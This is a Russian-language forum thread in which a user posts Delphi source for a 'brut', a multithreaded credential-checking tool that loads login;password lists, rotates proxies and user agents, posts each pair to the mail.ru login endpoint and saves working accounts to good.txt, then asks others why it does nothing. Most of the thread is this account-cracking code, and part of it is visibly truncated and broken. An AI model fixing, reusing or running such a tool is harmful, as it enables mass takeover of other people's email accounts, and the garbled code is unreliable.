[Помогите!] В чем ошибка?БРУТ

[NikitaSharko]

Привет Жуковцы короче сделал брут. Компилируется без ошибок но когда загружаю базу и нажимаю старт ничего не происходит!Буду благодарен любой помощи)Кто может помочь напишите в ЛС

[MembRupt]

Скорее всего неправильно написана прога

[NikitaSharko]

Цитата: Сообщение от MembRupt Скорее всего неправильно написана прога

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
StdCtrls, ComCtrls, Gauges, SyncObjs, Spin, Buttons, ExtCtrls, XPMan,
IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL;

type
TForm1 = class(TForm)
OpenDialog1: TOpenDialog;
IdHTTP1: TIdHTTP;
Panel1: TPanel;
Label3: TLabel;
Bevel1: TBevel;
Label4: TLabel;
Panel2: TPanel;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
RadioButton3: TRadioButton;
Panel3: TPanel;
Edit1: TEdit;
SpeedButton4: TSpeedButton;
Edit2: TEdit;
SpeedButton5: TSpeedButton;
Gauge1: TGauge;
XPManifest1: TXPManifest;
Panel4: TPanel;
Memo1: TMemo;
Panel5: TPanel;
SpinEdit1: TSpinEdit;
SpeedButton3: TSpeedButton;
SpeedButton2: TSpeedButton;
Edit3: TEdit;
Label1: TLabel;
GoodLabel: TLabel;
BadLabel: TLabel;
Label2: TLabel;
IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure SpeedButton4Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure RadioButton1Click(Sender: TObject);
procedure RadioButton2Click(Sender: TObject);
procedure RadioButton3Click(Sender: TObject);
procedure SpeedButton5Click(Sender: TObject);
procedure SpeedButton3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

TNewThread = class(TThread)
private
FAcc : string;
FPas : string;
IP : string;
Port : string;
Rez : Integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;

var
Form1: TForm1;
Accounts, Proxy:Tstringlist;
Thread, Acc:integer;
Work:boolean;
CS:TcriticalSection;
GoodFile, BadFile: textfile;
UserAg: array [0..10] of string=(
'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
);

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;

procedure TNewThread.Execute;
var CurAcc:integer;
data:Tstringlist;
HTTP: TIdHTTP;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc CS.Leave;

if Work then
begin

HTTP:=TIdHTTP.create(nil); //Создаём HTTP
HTTP.HandleRedirects:=false; //Запрещаем редирект

HTTP.IOHandler := Form1.IdSSLIOHandlerSocketOpenSSL1;
HTTP.Request.UserAgent:=UserAg[random(10)];

if Proxy.Text = '' then sleep(0) else //Если прокси не загружены, то ничего не делаем
begin
IP:= Copy(Proxy[CurAcc],1,Pos(':',Proxy[CurAcc])-1); //Копируем прокси
Port:= Copy(Proxy[CurAcc],Pos(':',Proxy[CurAcc])+1,Length(Proxy[CurAcc])); //Копируем порт
HTTP.ProxyParams.ProxyServer:=IP; //Вставляем прокси
HTTP.ProxyParams.ProxyPort:=strtoint(Port); //Вставляем порт
end;

FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1); //Копируем логин
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); //Копируем пароль

data:=Tstringlist.create;
data.Add('Domain=mail.ru');
data.Add('login='+FAcc);
data.Add('password='+FPas);
data.Add('new_auth_form=1');
data.Add('saveauth=1');

try
HTTP.Post('https://auth.mail.ru/cgi-bin/auth?from=splash', data);
Rez:=-1;
except
if Pos('set-cookie=Mpop', HTTP.Response.RawHeaders.Text)<>0 then
Rez:=1 //Гуд
else
Rez:=0; //Бэд
end;
HTTP.Free; //УБиваем HTTP
data.Free; //И наши параметры

Synchronize(Sync); //Делаем синхронизацию. Самая важная строка!
end;
end;

dec(Thread);
if Thread=0 then ShowMessage('Complete');
end;

procedure TNewThread.Sync;
begin
case Rez of
0:begin
Accounts.Add(FAcc+';'+FPas);
end;
1:begin
Append(GoodFile);
Writeln(GoodFile,FAcc+';'+FPas);
Closefile(GoodFile);
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
-1:begin
Append(BadFile);
Writeln(BadFile,FAcc+';'+FPas);
Closefile(BadFile);
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
end;
end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Accounts.Free;
CS.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Accounts:=Tstringlist.create;
Proxy:=Tstringlist.create;
CS:=TcriticalSection.create;
end;

procedure TForm1.SpeedButton4Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
Accounts.Clear;
Accounts.LoadFromFile(OpenDialog1.FileName);
end;
end;

procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
Memo1.Clear;
SpeedButton2.Enabled:=false;
SpeedButton3.Enabled:=true;

Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
Closefile(GoodFile);
Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
Closefile(BadFile);
GoodLabel.Caption:='0';
BadLabel.Caption:='0';
Gauge1.MaxValue:=Accounts.Count;
Gauge1.Progress:=0;
Acc:=-1;
Work:=true;
for Thread:=1 to strtoint(SpinEdit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(SpinEdit1.Text);
end;

procedure TForm1.RadioButton1Click(Sender: TObject);
begin
Edit1.Enabled:=true;
Edit1.Text:='accounts.txt';
Edit3.Enabled:=false;
Edit3.Text:='';
end;

procedure TForm1.RadioButton2Click(Sender: TObject);
begin
Edit1.Enabled:=true;
Edit1.Text:='passwords.txt';
Edit3.Enabled:=true;
Edit3.Text:='Введите логин';
end;

procedure TForm1.RadioButton3Click(Sender: TObject);
begin
Edit1.Enabled:=true;
Edit1.Text:='logins.txt';
Edit3.Enabled:=true;
Edit3.Text:='Введите пароль';
end;

procedure TForm1.SpeedButton5Click(Sender: TObject);
begin
OpenDialog1.FileName:='';
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
Proxy.Clear;
Proxy.LoadFromFile(OpenDialog1.FileName);
end;
end;

procedure TForm1.SpeedButton3Click(Sender: TObject);
begin
SpeedButton2.Enabled:=true;
SpeedButton3.Enabled:=false;
Work:=false; //Завершаем наши потоки
end;

end.

Вот код

[MembRupt]

Хотите готовый получить?

[NikitaSharko]

Цитата: Сообщение от MembRupt Хотите готовый получить?

Нет Я хочу чтоб вы подсказали в чем может быть ошибка?
Может я что то пропустил?!

[MembRupt]

Найти наброски которые компилируются это не значит "сделал брут"
Ничего не напоминает? http://zhyk.ru/forum/showthread.php?t=567134

[NikitaSharko]

Цитата: Сообщение от MembRupt Найти наброски которые компилируются это не значит "сделал брут" Ничего не напоминает? http://zhyk.ru/forum/showthread.php?t=567134

Да я делал по коду!Но я не прошу вас сказать по какому коду я делал я прошу помощи почему не работает?Где я ошибку сделал?

[Dinmaite]

[Ссылки могут видеть только зарегистрированные пользователи. ]